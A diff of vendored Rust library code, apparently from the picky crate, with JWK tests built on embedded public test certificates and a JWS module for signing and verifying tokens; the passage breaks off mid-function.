F6660RhRb9fsHQ0pgvWuG+tQXJ4J1Zi0cp+xi4yze6hJGAyAqj6wU46AUiL\
|
||||||
|
6kUr9GUVHqEsl5mNMIW18JT4KM/s5DWxFGO2soSTkaVHwGSkMBQSTgHMWs0\
|
||||||
|
L3bBfimjw9FwjwwHAbe1W5QU6uVXGApuKANRsXxgCn566QkE/BuV3WVR6uy\
|
||||||
|
n2P1J/vU9hxasgRIcjf3jHC4lGpew==";
|
||||||
|
|
||||||
|
const X509_CERT_1: &str = "MIIDRjCCAi6gAwIBAgIUUqhc3/U6OhKtEk1b8JfX3GL0FPYwDQYJKoZIhvc\
|
||||||
|
NAQELBQAwKDEmMCQGA1UEAwwdbG9naW4uZGV2b2x1dGlvbnMuY29tIFJvb3\
|
||||||
|
QgQ0EwHhcNMTkwMzEzMTMxNTM1WhcNMjAwMzEyMTMxNTM1WjAqMSgwJgYDV\
|
||||||
|
QQDDB9sb2dpbi5kZXZvbHV0aW9ucy5jb20gQXV0aG9yaXR5MIIBIjANBgkq\
|
||||||
|
hkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAlbRwXVPc/WH4t/Yti5qv24pAu8Q\
|
||||||
|
m0eOVvbum23bYtfJDbCSDh7sY/vvQXgIkM8/0C3tFZ3XaXHbyDHAMn6OC+S\
|
||||||
|
Obzs6SjpfKk9s69Yo/aWFl9oRnAK/+dZ0Y6MTdZO1w+PpR81q5QOFMLpWX1\
|
||||||
|
YNdahaZec31sBmsHqlW04OrHUhGOTGdWNots9/PWvN//x++FL+Sqgh/jxF7\
|
||||||
|
khbgfAuz1QKa8P0ZlE4cOcRIs5bSnUFwtoytKH02/YZnCJD7I/iXFuCPV/+\
|
||||||
|
LZO6yobkTREE3npeXvAKr1OKF2F0JVORMhHiYyguh9t3bMwHTCFqmfQkIMD\
|
||||||
|
GjaTJD7bd8y2Au+eDzgwIDAQABo2YwZDAOBgNVHQ8BAf8EBAMCAQYwEgYDV\
|
||||||
|
R0TAQH/BAgwBgEB/wIBAjAdBgNVHQ4EFgQUVgFJTohOGd8MGh4M9vOP7GAf\
|
||||||
|
TWgwHwYDVR0jBBgwFoAU42BA1coGHUUPUSeacQfTzicjosgwDQYJKoZIhvc\
|
||||||
|
NAQELBQADggEBAKyyDs+uIughmloEmlf8s1cSP8cLtC1Di2TfYSG0bpEM3B\
|
||||||
|
EPTond/7ujDlv0eug9NRurvWd5v7bWvy9VlJo+x2rLBmkzaNcBSVHZ4UbFU\
|
||||||
|
90MSvHjxNZ7VbUfbWsJVeaYHtqf1m3z0fYT0tUor3chD+wbSqraWw4+t54h\
|
||||||
|
fJl22jExTWS9X0F5/Gf3LQOiOvtjHP+b3VkpXkEPIBbvIO/X6kgoGDLm/lA\
|
||||||
|
IPdZmpI956z5+acLHu3AQkxNXQPzCjSSdJphLVU1XeHXOMWldVtE9BqSMVI\
|
||||||
|
HZ6oCz/FtMA4F6R7WiVXXGR+ywRwFyeiFoRea2ImUK9TRWFsaXKeOBMm+TL\
|
||||||
|
bk=";
|
||||||
|
|
||||||
|
const X509_CERT_2: &str = "MIIDRDCCAiygAwIBAgIUCAKwhsjTttdG4koEAV7zqlnI7wkwDQYJKoZIhvc\
|
||||||
|
NAQELBQAwKDEmMCQGA1UEAwwdbG9naW4uZGV2b2x1dGlvbnMuY29tIFJvb3\
|
||||||
|
QgQ0EwHhcNMTkwMzEzMTMxNTM1WhcNMjQwMzExMTMxNTM1WjAoMSYwJAYDV\
|
||||||
|
QQDDB1sb2dpbi5kZXZvbHV0aW9ucy5jb20gUm9vdCBDQTCCASIwDQYJKoZI\
|
||||||
|
hvcNAQEBBQADggEPADCCAQoCggEBANRZxxg9eTCMVr4DsIUcytQOLnlZ7tl\
|
||||||
|
uliP+jM76mjJEuWqizHzZ1ZoPcEbdW9sV8kgWdPHL3KOlXAr0DEobnhQsNx\
|
||||||
|
uzJ8B73TcV7AKp2HR+xCTKPEha1gVHgQMmzQyCIgLEsdcjhsFeFYqMflELZ\
|
||||||
|
rMy+7DBSZWWf3wCnxiKbzTL01wKqylVWeSiXsniTpsoUSSk8Fe2/Li8dBMY\
|
||||||
|
he1vTb57GI8ta24P4lfJv6CPTNTVsr+6ue3lRuY/UIMNTybhBSc00qbuo0K\
|
||||||
|
ahWHyzDgY+iNEaALbyWeNOoTBQIO8lp4mhHcO/Znh2PxdqCi/FSCB2+A1Xd\
|
||||||
|
uOArn+MKegU5aVJN0CAwEAAaNmMGQwEgYDVR0TAQH/BAgwBgEB/wIBAjAOB\
|
||||||
|
gNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFONgQNXKBh1FD1EnmnEH084nI6LI\
|
||||||
|
MB8GA1UdIwQYMBaAFONgQNXKBh1FD1EnmnEH084nI6LIMA0GCSqGSIb3DQE\
|
||||||
|
BCwUAA4IBAQB+v34Vk/+qQgA7eWlczWNVWM0J67om+QwtMEo+VgzE2OHNID\
|
||||||
|
2o5QXsxcck0j8dANutkoqsUXpos/RG+QPNng5RBWA/sWUYWdfwZgrE30rBK\
|
||||||
|
waP8Yi8gVsZpz3/RClbPcfkUXI12ANw3bRI1TscOK165p1TV6nmeEus5LZq\
|
||||||
|
CJV37/WRt47CccsDNZaqSN7T5lQ045jsZVYpfgx/I1l9Q/fICrTOFwqYbXJ\
|
||||||
|
9DTe1v8C+LFbtTNcEzRGwZefLTNH2yuZjGy1/t4+cnmFJUzmC4abOoZcpkr\
|
||||||
|
z6U68caCbQA+wdmFs4XaO2bFaiyM+m0LVMOQfLuX/0RZc2KB7fAbb7oHQl";
|
||||||
|
|
||||||
|
fn get_jwk_set() -> JwkSet {
|
||||||
|
JwkSet {
|
||||||
|
keys: vec![Jwk {
|
||||||
|
alg: Some(Jwa::Sig(JwsAlg::RS256)),
|
||||||
|
key_ops: Some(vec![JwkKeyOps::Verify]),
|
||||||
|
kid: Some("bG9naW4uZGV2b2x1dGlvbnMuY29tIFRva2VuLk1hciAxMyAxMzoxNTozNSAyMDE5IEdNVA".to_owned()),
|
||||||
|
x5t: Some(X509_SHA1_THUMBPRINT.to_owned()),
|
||||||
|
x5c: Some(vec![
|
||||||
|
X509_CERT_0.to_owned(),
|
||||||
|
X509_CERT_1.to_owned(),
|
||||||
|
X509_CERT_2.to_owned(),
|
||||||
|
]),
|
||||||
|
..Jwk::new(JwkKeyType::new_rsa_key_from_base64_url(
|
||||||
|
RSA_MODULUS.into(),
|
||||||
|
RSA_PUBLIC_EXPONENT.into(),
|
||||||
|
))
|
||||||
|
}],
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn rsa_key() {
|
||||||
|
let expected = get_jwk_set();
|
||||||
|
let decoded = JwkSet::from_json(picky_test_data::JOSE_JWK_SET).unwrap();
|
||||||
|
pretty_assertions::assert_eq!(decoded, expected);
|
||||||
|
|
||||||
|
let encoded = expected.to_json_pretty().unwrap();
|
||||||
|
let decoded = JwkSet::from_json(&encoded).unwrap();
|
||||||
|
pretty_assertions::assert_eq!(decoded, expected);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[rstest]
|
||||||
|
#[case(picky_test_data::JOSE_JWK_EC_P256_JSON)]
|
||||||
|
#[case(picky_test_data::JOSE_JWK_EC_P384_JSON)]
|
||||||
|
#[case(picky_test_data::JOSE_JWK_EC_P521_JSON)]
|
||||||
|
fn ecdsa_key_roundtrip(#[case] json: &str) {
|
||||||
|
let decoded = Jwk::from_json(json).unwrap();
|
||||||
|
let encoded = decoded.to_json().unwrap();
|
||||||
|
pretty_assertions::assert_eq!(encoded, json);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[rstest]
|
||||||
|
#[case(picky_test_data::JOSE_JWK_ED25519_JSON)]
|
||||||
|
#[case(picky_test_data::JOSE_JWK_X25519_JSON)]
|
||||||
|
fn ed_key_roundtrip(#[case] json: &str) {
|
||||||
|
let decoded = Jwk::from_json(json).unwrap();
|
||||||
|
let encoded = decoded.to_json().unwrap();
|
||||||
|
pretty_assertions::assert_eq!(encoded, json);
|
||||||
|
}
|
||||||
|
|
||||||
|
const PUBLIC_KEY_PEM: &str = r#"-----BEGIN PUBLIC KEY-----
|
||||||
|
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA61BjmfXGEvWmegnBGSuS
|
||||||
|
+rU9soUg2FnODva32D1AqhwdziwHINFaD1MVlcrYG6XRKfkcxnaXGfFDWHLEvNBS
|
||||||
|
EVCgJjtHAGZIm5GL/KA86KDp/CwDFMSwluowcXwDwoyinmeOY9eKyh6aY72xJh7n
|
||||||
|
oLBBq1N0bWi1e2i+83txOCg4yV2oVXhBo8pYEJ8LT3el6Smxol3C1oFMVdwPgc0v
|
||||||
|
Tl25XucMcG/ALE/KNY6pqC2AQ6R2ERlVgPiUWOPatVkt7+Bs3h5Ramxh7XjBOXeu
|
||||||
|
lmCpGSynXNcpZ/06+vofGi/2MlpQZNhHAo8eayMp6FcvNucIpUndo1X8dKMv3Y26
|
||||||
|
ZQIDAQAB
|
||||||
|
-----END PUBLIC KEY-----"#;
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn x509_and_jwk_conversion_rsa() {
|
||||||
|
let initial_key = PublicKey::from_pem(&PUBLIC_KEY_PEM.parse::<Pem>().expect("pem")).expect("public key");
|
||||||
|
let jwk = Jwk::from_public_key(&initial_key).unwrap();
|
||||||
|
if let JwkKeyType::Rsa(rsa_key) = &jwk.key {
|
||||||
|
let modulus = general_purpose::URL_SAFE_NO_PAD.decode(&rsa_key.n).unwrap();
|
||||||
|
assert_ne!(modulus[0], 0x00);
|
||||||
|
let public_exponent = general_purpose::URL_SAFE_NO_PAD.decode(&rsa_key.e).unwrap();
|
||||||
|
assert_ne!(public_exponent[0], 0x00);
|
||||||
|
} else {
|
||||||
|
panic!("Unexpected key type");
|
||||||
|
}
|
||||||
|
let from_jwk_key = jwk.to_public_key().unwrap();
|
||||||
|
assert_eq!(from_jwk_key, initial_key);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[rstest]
|
||||||
|
#[case(picky_test_data::EC_NIST256_PK_1_PUB)]
|
||||||
|
#[case(picky_test_data::EC_NIST384_PK_1_PUB)]
|
||||||
|
fn x509_and_jwk_conversion_ec(#[case] pem: &str) {
|
||||||
|
let initial_key = PublicKey::from_pem(&pem.parse::<Pem>().expect("pem")).expect("public key");
|
||||||
|
let jwk = Jwk::from_public_key(&initial_key).unwrap();
|
||||||
|
if let JwkKeyType::Ec(rsa_key) = &jwk.key {
|
||||||
|
let x = general_purpose::URL_SAFE_NO_PAD.decode(&rsa_key.x).unwrap();
|
||||||
|
assert_ne!(x[0], 0x00);
|
||||||
|
let y = general_purpose::URL_SAFE_NO_PAD.decode(&rsa_key.y).unwrap();
|
||||||
|
assert_ne!(y[0], 0x00);
|
||||||
|
} else {
|
||||||
|
panic!("Unexpected key type");
|
||||||
|
}
|
||||||
|
let from_jwk_key = jwk.to_public_key().unwrap();
|
||||||
|
assert_eq!(from_jwk_key, initial_key);
|
||||||
|
}
|
||||||
|
}
|
||||||
Vendored
+668
@@ -0,0 +1,668 @@
|
|||||||
|
//! JSON Web Signature (JWS) represents content secured with digital signatures or Message Authentication Codes (MACs) using JSON-based data structures.
|
||||||
|
//!
|
||||||
|
//! See [RFC7515](https://tools.ietf.org/html/rfc7515).
|
||||||
|
|
||||||
|
use crate::hash::HashAlgorithm;
|
||||||
|
use crate::jose::jwk::Jwk;
|
||||||
|
use crate::key::{EcCurve, PrivateKey, PublicKey};
|
||||||
|
use crate::signature::{SignatureAlgorithm, SignatureError};
|
||||||
|
use base64::engine::general_purpose;
|
||||||
|
use base64::{DecodeError, Engine as _};
|
||||||
|
use picky_asn1::wrapper::IntegerAsn1;
|
||||||
|
use picky_asn1_x509::signature::EcdsaSignatureValue;
|
||||||
|
use serde::{Deserialize, Serialize};
|
||||||
|
use std::borrow::Cow;
|
||||||
|
use std::collections::HashMap;
|
||||||
|
use thiserror::Error;
|
||||||
|
|
||||||
|
// === error type === //
|
||||||
|
|
||||||
|
#[derive(Debug, Error)]
|
||||||
|
#[non_exhaustive]
|
||||||
|
pub enum JwsError {
|
||||||
|
/// RSA error
|
||||||
|
#[error("RSA error: {context}")]
|
||||||
|
Rsa { context: String },
|
||||||
|
|
||||||
|
/// Json error
|
||||||
|
#[error("JSON error: {source}")]
|
||||||
|
Json { source: serde_json::Error },
|
||||||
|
|
||||||
|
/// signature error
|
||||||
|
#[error("signature error: {source}")]
|
||||||
|
Signature { source: SignatureError },
|
||||||
|
|
||||||
|
/// invalid token encoding
|
||||||
|
#[error("input isn't a valid token string: {input}")]
|
||||||
|
InvalidEncoding { input: String },
|
||||||
|
|
||||||
|
/// couldn't decode base64
|
||||||
|
#[error("couldn't decode base64: {source}")]
|
||||||
|
Base64Decoding { source: DecodeError },
|
||||||
|
|
||||||
|
/// input isn't valid utf8
|
||||||
|
#[error("input isn't valid utf8: {source}, input: {input:?}")]
|
||||||
|
InvalidUtf8 {
|
||||||
|
source: std::string::FromUtf8Error,
|
||||||
|
input: Vec<u8>,
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
impl From<rsa::errors::Error> for JwsError {
|
||||||
|
fn from(e: rsa::errors::Error) -> Self {
|
||||||
|
Self::Rsa { context: e.to_string() }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl From<serde_json::Error> for JwsError {
|
||||||
|
fn from(e: serde_json::Error) -> Self {
|
||||||
|
Self::Json { source: e }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl From<SignatureError> for JwsError {
|
||||||
|
fn from(e: SignatureError) -> Self {
|
||||||
|
Self::Signature { source: e }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl From<DecodeError> for JwsError {
|
||||||
|
fn from(e: DecodeError) -> Self {
|
||||||
|
Self::Base64Decoding { source: e }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// === JWS algorithms === //
|
||||||
|
|
||||||
|
mod jws_alg {
|
||||||
|
// We use #[deprecated] for `JwsAlg::ED22519` to tell users that this algorithm is invalid
|
||||||
|
// (`JwsAlg::EdDSA` should be used instead) but we should keep it inside enum to allow decoding
|
||||||
|
// of invalid tokens generated by other libraries such as `golang-jws`. However, to avoid
|
||||||
|
// compilation warnings caused by enum derives, we need to allow deprecated items inside this
|
||||||
|
// module.
|
||||||
|
#![allow(deprecated)]
|
||||||
|
|
||||||
|
use super::*;
|
||||||
|
|
||||||
|
/// `alg` header parameter values for JWS
|
||||||
|
///
|
||||||
|
/// [JSON Web Algorithms (JWA) draft-ietf-jose-json-web-algorithms-40 #3](https://tools.ietf.org/html/draft-ietf-jose-json-web-algorithms-40#section-3.1)
|
||||||
|
#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Serialize, Deserialize)]
|
||||||
|
pub enum JwsAlg {
|
||||||
|
/// HMAC using SHA-256 (unsupported)
|
||||||
|
///
|
||||||
|
/// Required by RFC
|
||||||
|
HS256,
|
||||||
|
|
||||||
|
/// HMAC using SHA-384 (unsupported)
|
||||||
|
HS384,
|
||||||
|
|
||||||
|
/// HMAC using SHA-512 (unsupported)
|
||||||
|
HS512,
|
||||||
|
|
||||||
|
/// RSASSA-PKCS-v1_5 using SHA-256
|
||||||
|
///
|
||||||
|
/// Recommended by RFC
|
||||||
|
RS256,
|
||||||
|
|
||||||
|
/// RSASSA-PKCS-v1_5 using SHA-384
|
||||||
|
RS384,
|
||||||
|
|
||||||
|
/// RSASSA-PKCS-v1_5 using SHA-512
|
||||||
|
RS512,
|
||||||
|
|
||||||
|
/// ECDSA using P-256 and SHA-256
|
||||||
|
///
|
||||||
|
/// Recommended+ by RFC
|
||||||
|
ES256,
|
||||||
|
|
||||||
|
/// ECDSA using P-384 and SHA-384
|
||||||
|
ES384,
|
||||||
|
|
||||||
|
/// ECDSA using P-521 and SHA-512
|
||||||
|
ES512,
|
||||||
|
|
||||||
|
/// RSASSA-PSS using SHA-256 and MGF1 with SHA-256 (unsupported)
|
||||||
|
PS256,
|
||||||
|
|
||||||
|
/// RSASSA-PSS using SHA-384 and MGF1 with SHA-384 (unsupported)
|
||||||
|
PS384,
|
||||||
|
|
||||||
|
/// RSASSA-PSS using SHA-512 and MGF1 with SHA-512 (unsupported)
|
||||||
|
PS512,
|
||||||
|
|
||||||
|
/// EdDSA using Ed25519/Ed448
|
||||||
|
EdDSA,
|
||||||
|
|
||||||
|
/// [DO NOT USE] EdDSA using Ed25519
|
||||||
|
///
|
||||||
|
/// This value is used by some popular libraries (e.g. `golang-jwt) instead of `EdDSA` due to
|
||||||
|
/// mistake in the implementation. This value is deprecated and should not be used.
|
||||||
|
#[deprecated(note = "You should not use this value, but it may appear in the wild")]
|
||||||
|
ED25519,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// Hack to localize #![allow(deprecated)]
|
||||||
|
pub use jws_alg::JwsAlg;
|
||||||
|
|
||||||
|
impl TryFrom<SignatureAlgorithm> for JwsAlg {
|
||||||
|
type Error = SignatureError;
|
||||||
|
|
||||||
|
fn try_from(v: SignatureAlgorithm) -> Result<Self, Self::Error> {
|
||||||
|
match v {
|
||||||
|
SignatureAlgorithm::RsaPkcs1v15(HashAlgorithm::SHA2_256) => Ok(Self::RS256),
|
||||||
|
SignatureAlgorithm::RsaPkcs1v15(HashAlgorithm::SHA2_384) => Ok(Self::RS384),
|
||||||
|
SignatureAlgorithm::RsaPkcs1v15(HashAlgorithm::SHA2_512) => Ok(Self::RS512),
|
||||||
|
SignatureAlgorithm::Ecdsa(HashAlgorithm::SHA2_256) => Ok(Self::ES256),
|
||||||
|
SignatureAlgorithm::Ecdsa(HashAlgorithm::SHA2_384) => Ok(Self::ES384),
|
||||||
|
SignatureAlgorithm::Ecdsa(HashAlgorithm::SHA2_512) => Ok(Self::ES512),
|
||||||
|
SignatureAlgorithm::Ed25519 => Ok(Self::EdDSA),
|
||||||
|
unsupported => Err(SignatureError::UnsupportedAlgorithm {
|
||||||
|
algorithm: format!("{unsupported:?}"),
|
||||||
|
}),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl TryFrom<JwsAlg> for SignatureAlgorithm {
|
||||||
|
type Error = SignatureError;
|
||||||
|
|
||||||
|
fn try_from(v: JwsAlg) -> Result<Self, Self::Error> {
|
||||||
|
match v {
|
||||||
|
JwsAlg::RS256 => Ok(SignatureAlgorithm::RsaPkcs1v15(HashAlgorithm::SHA2_256)),
|
||||||
|
JwsAlg::RS384 => Ok(SignatureAlgorithm::RsaPkcs1v15(HashAlgorithm::SHA2_384)),
|
||||||
|
JwsAlg::RS512 => Ok(SignatureAlgorithm::RsaPkcs1v15(HashAlgorithm::SHA2_512)),
|
||||||
|
JwsAlg::ES256 => Ok(SignatureAlgorithm::Ecdsa(HashAlgorithm::SHA2_256)),
|
||||||
|
JwsAlg::ES384 => Ok(SignatureAlgorithm::Ecdsa(HashAlgorithm::SHA2_384)),
|
||||||
|
JwsAlg::ES512 => Ok(SignatureAlgorithm::Ecdsa(HashAlgorithm::SHA2_512)),
|
||||||
|
JwsAlg::EdDSA => Ok(SignatureAlgorithm::Ed25519),
|
||||||
|
#[allow(deprecated)]
|
||||||
|
JwsAlg::ED25519 => Ok(SignatureAlgorithm::Ed25519),
|
||||||
|
unsupported => Err(SignatureError::UnsupportedAlgorithm {
|
||||||
|
algorithm: format!("{unsupported:?}"),
|
||||||
|
}),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// === JWS header === //
|
||||||
|
|
||||||
|
/// JOSE header of a JWS
|
||||||
|
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
|
||||||
|
pub struct JwsHeader {
|
||||||
|
// -- specific to JWS -- //
|
||||||
|
/// Algorithm Header
|
||||||
|
///
|
||||||
|
/// identifies the cryptographic algorithm used to secure the JWS.
|
||||||
|
pub alg: JwsAlg,
|
||||||
|
|
||||||
|
// -- common with JWE -- //
|
||||||
|
/// JWK Set URL
|
||||||
|
///
|
||||||
|
/// URI that refers to a resource for a set of JSON-encoded public keys,
|
||||||
|
/// one of which corresponds to the key used to digitally sign the JWS.
|
||||||
|
#[serde(skip_serializing_if = "Option::is_none")]
|
||||||
|
pub jku: Option<String>,
|
||||||
|
|
||||||
|
/// JSON Web Key
|
||||||
|
///
|
||||||
|
/// The public key that corresponds to the key used to digitally sign the JWS.
|
||||||
|
/// This key is represented as a JSON Web Key (JWK).
|
||||||
|
#[serde(skip_serializing_if = "Option::is_none")]
|
||||||
|
pub jwk: Option<Jwk>,
|
||||||
|
|
||||||
|
/// Type header
|
||||||
|
///
|
||||||
|
/// Used by JWS applications to declare the media type [IANA.MediaTypes] of this complete JWS.
|
||||||
|
#[serde(skip_serializing_if = "Option::is_none")]
|
||||||
|
pub typ: Option<String>,
|
||||||
|
|
||||||
|
/// Content Type header
|
||||||
|
///
|
||||||
|
/// Used by JWS applications to declare the media type [IANA.MediaTypes] of the secured content (the payload).
|
||||||
|
#[serde(skip_serializing_if = "Option::is_none")]
|
||||||
|
pub cty: Option<String>,
|
||||||
|
|
||||||
|
// -- common with all -- //
|
||||||
|
/// Key ID Header
|
||||||
|
///
|
||||||
|
/// A hint indicating which key was used.
|
||||||
|
#[serde(skip_serializing_if = "Option::is_none")]
|
||||||
|
pub kid: Option<String>,
|
||||||
|
|
||||||
|
/// X.509 URL Header
|
||||||
|
///
|
||||||
|
/// URI that refers to a resource for an X.509 public key certificate or certificate chain.
|
||||||
|
#[serde(skip_serializing_if = "Option::is_none")]
|
||||||
|
pub x5u: Option<String>,
|
||||||
|
|
||||||
|
/// X.509 Certificate Chain
|
||||||
|
///
|
||||||
|
/// Chain of one or more PKIX certificates.
|
||||||
|
#[serde(skip_serializing_if = "Option::is_none")]
|
||||||
|
pub x5c: Option<Vec<String>>,
|
||||||
|
|
||||||
|
/// X.509 Certificate SHA-1 Thumbprint
|
||||||
|
///
|
||||||
|
/// base64url-encoded SHA-1 thumbprint (a.k.a. digest) of the DER encoding of an X.509 certificate.
|
||||||
|
#[serde(skip_serializing_if = "Option::is_none")]
|
||||||
|
pub x5t: Option<String>,
|
||||||
|
|
||||||
|
/// X.509 Certificate SHA-256 Thumbprint
|
||||||
|
///
|
||||||
|
/// base64url-encoded SHA-256 thumbprint (a.k.a. digest) of the DER encoding of an X.509 certificate.
|
||||||
|
#[serde(rename = "x5t#S256", alias = "x5t#s256", skip_serializing_if = "Option::is_none")]
|
||||||
|
pub x5t_s256: Option<String>,
|
||||||
|
|
||||||
|
// -- extra parameters -- //
|
||||||
|
/// Additional header parameters (both public and private)
|
||||||
|
#[serde(flatten)]
|
||||||
|
pub additional: HashMap<String, serde_json::Value>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl JwsHeader {
|
||||||
|
pub fn new(alg: JwsAlg) -> Self {
|
||||||
|
Self {
|
||||||
|
alg,
|
||||||
|
jku: None,
|
||||||
|
jwk: None,
|
||||||
|
typ: None,
|
||||||
|
cty: None,
|
||||||
|
kid: None,
|
||||||
|
x5u: None,
|
||||||
|
x5c: None,
|
||||||
|
x5t: None,
|
||||||
|
x5t_s256: None,
|
||||||
|
additional: HashMap::new(),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn new_with_cty(alg: JwsAlg, cty: impl Into<String>) -> Self {
|
||||||
|
Self {
|
||||||
|
cty: Some(cty.into()),
|
||||||
|
..Self::new(alg)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// === json web signature === //
|
||||||
|
|
||||||
|
/// Provides an API to sign any kind of data (binary). JSON claims are part of `Jwt` only.
|
||||||
|
#[derive(Debug, Clone)]
|
||||||
|
pub struct Jws {
|
||||||
|
pub header: JwsHeader,
|
||||||
|
pub payload: Vec<u8>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Jws {
|
||||||
|
pub fn new(alg: JwsAlg, payload: Vec<u8>) -> Self {
|
||||||
|
Self {
|
||||||
|
header: JwsHeader::new(alg),
|
||||||
|
payload,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn encode(&self, private_key: &PrivateKey) -> Result<String, JwsError> {
|
||||||
|
let header_base64 = general_purpose::URL_SAFE_NO_PAD.encode(serde_json::to_vec(&self.header)?);
|
||||||
|
let payload_base64 = general_purpose::URL_SAFE_NO_PAD.encode(&self.payload);
|
||||||
|
let header_and_payload = [header_base64, payload_base64].join(".");
|
||||||
|
let signature_algo = SignatureAlgorithm::try_from(self.header.alg)?;
|
||||||
|
let signature = signature_algo.sign(header_and_payload.as_bytes(), private_key)?;
|
||||||
|
|
||||||
|
let signature = match self.header.alg {
|
||||||
|
// EC sugnatures have special encoding rules (RFC 7518, section 3.4)
|
||||||
|
JwsAlg::ES256 | JwsAlg::ES384 | JwsAlg::ES512 => {
|
||||||
|
// Parse signature as ASN.1 DER sequence
|
||||||
|
let signature: EcdsaSignatureValue =
|
||||||
|
picky_asn1_der::from_bytes(&signature).map_err(|e| SignatureError::Ec {
|
||||||
|
context: format!("Invalid EC DER signature encoding: {e}"),
|
||||||
|
})?;
|
||||||
|
|
||||||
|
let curve = match self.header.alg {
|
||||||
|
JwsAlg::ES256 => EcCurve::NistP256,
|
||||||
|
JwsAlg::ES384 => EcCurve::NistP384,
|
||||||
|
JwsAlg::ES512 => EcCurve::NistP521,
|
||||||
|
_ => unreachable!("Checked in match above"),
|
||||||
|
};
|
||||||
|
|
||||||
|
let signature_component_size = curve.field_bytes_size();
|
||||||
|
|
||||||
|
let r = signature.r.as_unsigned_bytes_be();
|
||||||
|
let s = signature.s.as_unsigned_bytes_be();
|
||||||
|
|
||||||
|
// We should add zero padding (leading zeros) for R & S components to match the
|
||||||
|
// size of the curve, as ASN.1 DER encoding removes leading zeros.
|
||||||
|
let mut jws_signature = Vec::with_capacity(signature_component_size * 2);
|
||||||
|
|
||||||
|
let r_padding = signature_component_size - r.len();
|
||||||
|
(0..r_padding).for_each(|_| jws_signature.push(0));
|
||||||
|
jws_signature.extend_from_slice(r);
|
||||||
|
|
||||||
|
let s_padding = signature_component_size - s.len();
|
||||||
|
(0..s_padding).for_each(|_| jws_signature.push(0));
|
||||||
|
jws_signature.extend_from_slice(s);
|
||||||
|
|
||||||
|
jws_signature
|
||||||
|
}
|
||||||
|
_ => signature,
|
||||||
|
};
|
||||||
|
|
||||||
|
let signature_base64 = general_purpose::URL_SAFE_NO_PAD.encode(signature);
|
||||||
|
Ok([header_and_payload, signature_base64].join("."))
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Verifies signature and returns decoded JWS payload.
|
||||||
|
pub fn decode(encoded_token: &str, public_key: &PublicKey) -> Result<Self, JwsError> {
|
||||||
|
RawJws::decode(encoded_token).and_then(|raw_jws| raw_jws.verify(public_key))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Raw low-level interface to the yet to be verified JWS token.
|
||||||
|
///
|
||||||
|
/// This is useful to inspect the structure before performing further processing.
|
||||||
|
/// For most usecases, use `Jws` directly.
|
||||||
|
#[derive(Debug, Clone)]
|
||||||
|
pub struct RawJws<'repr> {
|
||||||
|
pub compact_repr: Cow<'repr, str>,
|
||||||
|
pub header: JwsHeader,
|
||||||
|
payload: Vec<u8>,
|
||||||
|
pub signature: Vec<u8>,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// An owned `RawJws` for convenience.
|
||||||
|
pub type OwnedRawJws = RawJws<'static>;
|
||||||
|
|
||||||
|
impl<'repr> RawJws<'repr> {
|
||||||
|
/// Decodes a JWS in compact representation.
|
||||||
|
pub fn decode(compact_repr: impl Into<Cow<'repr, str>>) -> Result<Self, JwsError> {
|
||||||
|
decode_impl(compact_repr.into())
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Peeks the payload before signature verification.
|
||||||
|
pub fn peek_payload(&self) -> &[u8] {
|
||||||
|
&self.payload
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Verifies signature and returns a verified `Jws` structure.
|
||||||
|
pub fn verify(self, public_key: &PublicKey) -> Result<Jws, JwsError> {
|
||||||
|
verify_signature(&self.compact_repr, public_key, self.header.alg)?;
|
||||||
|
Ok(self.discard_signature())
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Discards the signature without verifying it and hands a `Jws` structure.
|
||||||
|
///
|
||||||
|
/// Generally, you should not do that.
|
||||||
|
pub fn discard_signature(self) -> Jws {
|
||||||
|
Jws {
|
||||||
|
header: self.header,
|
||||||
|
payload: self.payload,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn decode_impl(compact_repr: Cow<'_, str>) -> Result<RawJws<'_>, JwsError> {
|
||||||
|
let first_dot_idx = compact_repr.find('.').ok_or_else(|| JwsError::InvalidEncoding {
|
||||||
|
input: compact_repr.clone().into_owned(),
|
||||||
|
})?;
|
||||||
|
|
||||||
|
let last_dot_idx = compact_repr.rfind('.').ok_or_else(|| JwsError::InvalidEncoding {
|
||||||
|
input: compact_repr.clone().into_owned(),
|
||||||
|
})?;
|
||||||
|
|
||||||
|
if first_dot_idx == last_dot_idx || compact_repr.starts_with('.') || compact_repr.ends_with('.') {
|
||||||
|
return Err(JwsError::InvalidEncoding {
|
||||||
|
input: compact_repr.into_owned(),
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
let header_json = general_purpose::URL_SAFE_NO_PAD.decode(&compact_repr[..first_dot_idx])?;
|
||||||
|
let header = serde_json::from_slice::<JwsHeader>(&header_json)?;
|
||||||
|
|
||||||
|
